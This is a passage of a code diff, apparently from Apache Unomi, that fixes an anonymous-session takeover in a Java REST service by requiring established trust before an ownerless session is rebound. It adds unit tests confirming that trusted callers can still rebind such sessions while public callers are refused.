* A tenant private key authenticates as {@link UnomiRoles#TENANT_ADMINISTRATOR}, so integrations * using one are trusted here; a tenant public API key is not. + *

+ * {@code securityService} is a mandatory static {@code @Reference}, so this component is never + * active without it. Deliberately not null-guarded: defaulting a missing identity service to + * "untrusted" would silently strip every trusted integration of its binding rights with nothing + * in the log to explain it, which is far harder to diagnose than the NPE that says so outright. */ private boolean isTrustedProfileCaller() { - return securityService != null && securityService.hasSystemAccess(); + return securityService.hasSystemAccess(); + } + + /** + * Whether the profile named by the caller's cookie is the recorded owner of a session. + *

+ * The one place the ownership rule is written down, so the two call sites that need it cannot + * drift apart. Ownership has to be positively established, so an absent cookie and an unowned + * session both answer {@code false}. A session with a {@code null} owner is not "owned by + * nobody, so anyone may have it" - it is a session whose owner cannot be checked, which for this + * purpose is the same answer. + * + * @param ownerProfileId the profile id recorded as owning the session, may be {@code null} + * @param cookieProfileIdAtRequest the profile id carried by the caller's cookie, may be {@code null} + * @return {@code true} only when the cookie bearer demonstrably owns the session + */ + private boolean isOwnedByCookieBearer(String ownerProfileId, String cookieProfileIdAtRequest) { + return cookieProfileIdAtRequest != null && cookieProfileIdAtRequest.equals(ownerProfileId); } /** diff --git a/rest/src/test/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImplProfileBindingTest.java b/rest/src/test/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImplProfileBindingTest.java index 86bebdfeaa..2a20a245f0 100644 --- a/rest/src/test/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImplProfileBindingTest.java +++ b/rest/src/test/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImplProfileBindingTest.java @@ -281,9 +281,11 @@ void initEventsRequest_publicCallerMayInvalidateItsOwnSession() { // --------------------------------------------------------------------------------------- // Anonymous browsing. All four branches of the anonymity handling in initEventsRequest are - // pinned here BEFORE any change to the session-ownership check, because the ownership check - // currently skips anonymous profiles entirely: tightening it without this safety net would - // silently detach the session of every legitimately anonymous visitor on every request. + // pinned here, because the session-ownership check cannot reach an anonymous session: such a + // session records no owner (getAnonymousProfile returns a profile with no itemId), so there is + // nothing to match the cookie bearer against. Branch 3 is therefore the one place where caller + // trust decides the outcome; the other three must stay untouched by that rule so a legitimately + // anonymous visitor is not detached on every request. // --------------------------------------------------------------------------------------- /** @@ -341,13 +343,13 @@ void anonymousBrowsing_entering_replacesSessionProfileWithAnonymous() { } /** - * Branch 3: the visitor has turned anonymity off, so their anonymous session is bound back to - * their real profile. This is the branch an ownership check would most easily break, and it is - * also the branch an untrusted caller reaches with a reused anonymous session id — so it must keep - * working for the legitimate case while the fix is designed. + * Branch 3, trusted caller: rebinding an anonymous session to a real profile is a write that + * assigns an ownerless session to a named owner, so it stays available to a caller whose + * authority to name a profile has been established. */ @Test - void anonymousBrowsing_leaving_rebindsSessionToTheRealProfile() { + void anonymousBrowsing_leaving_rebindsSessionToTheRealProfileForTrustedCaller() { + when(securityService.hasSystemAccess()).thenReturn(true); Profile cookieProfile = new Profile("cookie-profile"); Session session = new Session("anon-sess", anonymous(), new Date(), "systemscope"); @@ -364,6 +366,66 @@ void anonymousBrowsing_leaving_rebindsSessionToTheRealProfile() { assertNotNull(ctx.getSession()); assertEquals("cookie-profile", ctx.getSession().getProfile().getItemId(), "leaving anonymity must bind the session back to the visitor's real profile"); + assertTrue((ctx.getChanges() & EventService.SESSION_UPDATED) != 0, + "the session change must be flagged so it is persisted"); + } + + /** + * Branch 3, public caller: the same rebinding is refused. + *

+ * This is the anonymous-session takeover. An anonymous session carries no owner, so presenting + * its id was enough to have it rebound to the presenter's own profile and saved — the ownership + * rule enforced for named sessions had nothing to bite on. The session must stay anonymous and + * unchanged, so nothing is persisted and the real visitor keeps it. + */ + @Test + void anonymousBrowsing_leaving_isRefusedForPublicCaller() { + Profile callerProfile = new Profile("caller-profile"); + Session session = new Session("anon-sess", anonymous(), new Date(), "systemscope"); + + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "caller-profile")}); + when(profileService.load("caller-profile")).thenReturn(callerProfile); + when(profileService.loadSession("anon-sess")).thenReturn(session); + when(privacyService.isRequireAnonymousBrowsing(callerProfile)).thenReturn(false); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "anon-sess", null, null, + false, false, request, response, new Date()); + + assertNotNull(ctx.getSession()); + assertTrue(ctx.getSession().getProfile().isAnonymousProfile(), + "a public caller must not take over an anonymous session by presenting its id"); + assertNull(ctx.getSession().getProfileId(), + "the session must keep no owner rather than being assigned to the caller"); + assertEquals(0, ctx.getChanges() & EventService.SESSION_UPDATED, + "nothing changed, so the session must not be persisted under the caller's profile"); + assertEquals("caller-profile", ctx.getProfile().getItemId(), + "the caller still acts as its own cookie profile"); + } + + /** + * The same takeover attempted through {@code invalidateSession}, which re-creates the session + * under the supplied id. The ownership guard for that path keys off the session's profileId, + * which is null for an anonymous session, so it used to wave this through. + */ + @Test + void anonymousBrowsing_invalidateSession_cannotTakeOverAnonymousSessionForPublicCaller() { + Profile callerProfile = new Profile("caller-profile"); + Session session = new Session("anon-sess", anonymous(), new Date(), "systemscope"); + + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "caller-profile")}); + when(profileService.load("caller-profile")).thenReturn(callerProfile); + when(profileService.loadSession("anon-sess")).thenReturn(session); + when(privacyService.isRequireAnonymousBrowsing(callerProfile)).thenReturn(false); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "anon-sess", null, null, + false, true, request, response, new Date()); + + assertTrue(ctx.isSessionRefused(), + "a public caller must not recreate an anonymous session it cannot be shown to own"); + assertNull(ctx.getSession(), + "the refused session must be detached rather than reissued under the caller's profile"); } /** Branch 4: the ordinary non-anonymous case — the session is bound to the caller's profile. */ @@ -485,6 +547,34 @@ void invalidateProfile_alsoAppliesForTrustedCallers() { assertFalse("cookie-profile".equals(ctx.getProfile().getItemId())); } + /** + * invalidateProfile together with a session the cookie owns: the session's profile wins and the + * visitor gets their old profile back, so the invalidation does not take effect. + *

+ * Pre-existing behaviour, pinned rather than changed - the session-adoption branch runs after the + * new profile is minted and overwrites it. It is also the only route by which an untrusted caller + * reaches {@code cookieOwnsSession == true}, so without this test that condition looks dead and + * would be an easy thing to "simplify" away. Callers that mean to start over must invalidate the + * session too. + */ + @Test + void invalidateProfile_withOwnedSession_isUndoneBySessionAdoption() { + Profile cookieProfile = new Profile("cookie-profile"); + Session session = new Session("own-sess", cookieProfile, new Date(), "systemscope"); + + when(request.getCookies()).thenReturn(new Cookie[]{new Cookie(COOKIE_NAME, "cookie-profile")}); + when(profileService.load("cookie-profile")).thenReturn(cookieProfile); + when(profileService.loadSession("own-sess")).thenReturn(session); + + EventsRequestContext ctx = restServiceUtils.initEventsRequest( + "systemscope", "own-sess", null, null, + true, false, request, response, new Date()); + + assertFalse(ctx.isSessionRefused(), "the caller's own session must not be refused"); + assertEquals("cookie-profile", ctx.getProfile().getItemId(), + "the session it owns hands the visitor its previous profile back"); + } + /** * A trusted server-side integration has no browser and therefore no profile cookie, so an * explicit body profileId is the only way it can name the profile it means. Before the fix the